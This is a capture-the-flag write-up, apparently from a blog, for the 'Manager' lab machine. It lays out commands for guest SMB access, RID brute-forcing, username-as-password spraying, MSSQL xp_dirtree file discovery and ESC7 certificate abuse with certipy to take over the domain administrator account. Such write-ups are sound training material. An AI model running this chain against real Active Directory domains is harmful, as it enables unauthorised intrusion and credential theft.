# Manager

## OVERVIEW

---

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767508772588/43f0e525-0591-4192-a828-ef6474767285.png align="center")

So Like always we got our IP Address so now let’s scan it using NMAP

## ENUMERATION

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767509038088/09065305-8378-463a-9a5e-12e4727e4160.png align="center")

So we have lot of ports so let’s enumerate each one of them one by one but don’t forget to add the **Domain and DC** name in your **<mark>/etc/hosts</mark>** file

Let’s start from Port 80 http website

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767509331864/71410243-99c1-4e9c-a5e8-17a9d322f2c4.png align="center")

I enumerated the webpage , tried finding directories , subdomains but didn’t got anything so let’s move on to the **SMB service now** and check Guest Login

```apache
nxc smb 10.129.53.136 -u guest -p ''
nxc smb 10.129.53.136 -u guest -p '' --shares
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767509569551/a2e08380-4c8e-4642-8da8-894e9b014226.png align="center")

We successfully got the guest login and shares but none of them are of any use to us so now let’s try RID Cycling using `--rid-brute` to find users, groups etc

```apache
nxc smb 10.129.53.136 -u guest -p '' --rid-brute
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767509756498/fafcb128-6261-4a9c-bdb9-9e1abf066e75.png align="center")

There we go we got the users so let’s save them in a file named as **users.txt**

```plaintext
administrator
guest
krbtgt
dc01$
zhong
cheng
ryan
raven
jinWoo
chinHae
operator
```

Now there is a chance that the user is using its username as password so let’s try SMB bruteforce to check it

```apache
nxc smb 10.129.53.136 -u users.txt -p users.txt --continue-on-success --no-bruteforce
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767510133446/4598046c-370f-4f67-9795-ae78b9627098.png align="center")

We got the user operator  
I checked its shares permission and other services even bloodhound data but didn’t got anything useful so Now let’s try this user in MSSQL service

---

## EXPLOITATION

```apache
mssqlclient.py manager.htb/operator:operator@manager.htb -dc-ip 10.129.53.136 -windows-auth
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767510451725/e2628423-d4c7-475d-9ca2-b5169cc40f25.png align="center")

And it worked now let’s enumerate it.  
On enumerating i found **xp\_dirtree** command which is used to read file system directory let’s try it

```apache
EXEC XP_DIRTREE 'C:\' ,1, 1;
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767510631194/1e4c8503-d05d-46f9-a4e3-18ebfdc9a90d.png align="left")

As you can see we can see the directories , now let’s try seeing the website directory as something might be there as we didn’t got anything useful from outside enumeration

```apache
EXEC XP_DIRTREE 'C:\inetpub\wwwroot' ,1, 1;
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767511642873/9d3977c1-1270-4919-95ed-3e7080c04ade.png align="center")

we can see a backup zip which might have some info so we can get it directly from the website

```apache
wget http://manager.htb/website-backup-27-07-23-old.zip
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767512159585/ca984151-d6a3-4317-8d66-d03938698695.png align="center")

After unzipping the file we can see a **.old-conf.xml** file which might have something useful so let’s see it

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767512249540/cbc1b8c2-5fe4-4518-9bae-e6bd8b36f87b.png align="left")

And here we go we got the user Raven Password which we can use to get an Evil-winrm shell

---

## USER FLAG

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767512414125/f82d32c5-39b3-4a56-8125-011f2d0769ce.png align="center")

And we are in as Raven and now you can get the user flag

---

## PRIVILEGE ESCALATION

Now for escalating privileges i decided to check for ADCS vulnerabilities so let’s run Certipy to find if there is any vuln or not ([Certipy](https://github.com/ly4k/Certipy/wiki/04-%E2%80%90-Installation) should be UpToDate )

```apache
certipy find -u raven -p 'REDACTED' -dc-ip 10.129.53.136 -vulnerable -stdout
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767512766311/ec86de2d-0111-40f4-8c4b-3f030af9f726.png align="center")

**And here we go we found ESC 7 vulnerability and Raven user have ManageCa rights as well as Enrollment Rights but don’t have Manage Certificate rights so let’s use ManageCa rights to grant Raven the rights**

```apache
certipy ca -u Raven -p 'REDACTED' -dc-ip 10.129.53.136 -ca "manager-DC01-CA" -add-officer Raven
```

Now we can enable SubCA Template *(Even if its already enabled still do it* )

```apache
certipy ca -u Raven -p 'REDACTED' -dc-ip 10.129.53.136 -ca "manager-DC01-CA" -enable-template SubCA
```

Since SubCA template is now enabled let’s get the request id of the certificate which we need to issue by requesting certificate for administrator@manager.htb upn and don’t forget to save the key by pressing y

```apache
certipy req -u Raven -p 'REDACTED' -dc-ip 10.129.53.136 -ca "manager-DC01-CA" -template SubCA -upn administrator@manager.htb
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767514214847/3317f46a-7ea6-43fe-a252-16e32de02a53.png align="center")

So we got out request id which is 20 so now let’s issue certificate to this ID *(Enter your REQ ID below instead of 20)*

```apache
certipy ca -u Raven -p 'REDACTED' -dc-ip 10.129.53.136 -ca "manager-DC01-CA" -issue-request 20
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767514361809/9643f3a1-e946-4b3a-b32c-be2b4e5fb35a.png align="center")

As you can see the certificate is successfully issued to the request ID now the only thing is left to retrieve it and get the **administrator.pfx**

```apache
certipy req -u Raven -p 'REDACTED' -dc-ip 10.129.53.136 -ca "manager-DC01-CA" -retrieve 20
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767514723539/271a8129-962f-42fc-ae4e-58cd9bf083a8.png align="center")

As you can see we got the **administrator.pfx** Now we can use it to get the administrator hash

```apache
certipy auth -pfx administrator.pfx -dc-ip 10.129.53.136 -domain manager.htb 
```

If it show error regarding Clock Skew is too great do

```apache
sudo ntpdate 10.129.53.136
```

Now run the above command again

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767515076178/ef4f9b1c-2775-41d6-8531-997d88099449.png align="center")

We will get the administrator hash now we can use it to get an evil-winrm session

---

## ROOT FLAG

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767515260820/20ec3856-8760-4d34-b2c0-76ead971f44a.png align="center")

Now you can grab the root flag and solve the machine

## **WE FINALLY DID IT !!!! CHALLENGE SOLVED !!**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767515338622/3d4c2e73-888c-4b7c-b550-a53592c0f298.png align="center")

For Any Query Or Problem Either Leave A Comment Or Contact At [**reapsec.com**](http://reapsec.com/)

**THANKS FOR READING !!!**